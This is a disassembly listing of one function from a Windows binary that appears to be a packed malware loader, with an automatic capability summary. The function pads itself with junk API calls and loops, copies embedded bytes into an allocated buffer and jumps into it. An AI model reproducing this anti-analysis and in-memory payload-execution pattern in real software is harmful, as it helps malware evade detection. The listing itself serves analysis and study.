Function at 0x4015d0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40fac8
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x401614
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x401625
inc esi
cmp esi, 0x67d12
jl 0x401600
mov eax, dword [0x45ab6c]
cmp eax, 0x93
jne 0x4016f4
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor esi, esi
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push str.fefegidizisaf
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x30], 0
call fcn.00402b60
add esp, 4
push eax
push str.fefegidizisaf
lea ecx, [ebp - 0x34]
call fcn.004022f0
push esi
mov dword [ebp - 4], esi
call fcn.00402974
add esp, 4
push esi
call fcn.00402ce8
add esp, 4
push esi
push esi
call fcn.00402d17
add esp, 8
push esi
call fcn.00403735
mov ecx, dword [0x44edf4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45b9a8], ecx
mov dword [0x45ab6c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45a5f8], eax
call fcn.00401510
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x401722
cmp dword [0x45ab6c], esi
jbe 0x40179c
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov edx, dword [0x45b9a8]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x45a5f8]
mov byte [ecx + esi], al
cmp dword [0x45ab6c], 0x490
jne 0x401793
lea edx, [ebp - 0x10]
push edx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x45ab6c]
jb 0x401741
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x45ab6c]
add edx, eax
cmp edx, 0x8d
jne 0x4017f9
push 0
lea eax, [ebp - 0x838]
push eax
push 0
push 0
push 0
push 0
call esi
push str.hocoga
push str.fawozoz
call edi
push 0
lea ecx, [ebp - 0x14]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x4017b3
call fcn.004013d0
xor edi, edi
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40182e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x108b
mov edx, dword [ebp - 0x10]
add dword [0x45a5f8], edx
inc esi
cmp esi, 0x674bd
jl 0x401810
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45ab6c], 0x86
jne 0x401890
push 0
call esi
push 0
lea eax, [ebp - 0x838]
push eax
push str.tusadakumojenimibew_meyevososokecaxatapizeguh_xigelufarelidilenitimewavin_haraxeyuxedawatawucosululuwavo_zowacogofozuzexibi
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45ab6c], 0xf
jne 0x4018a3
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 0x10], 1
jne 0x401850
call fcn.00401090
call dword [0x45a5f8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret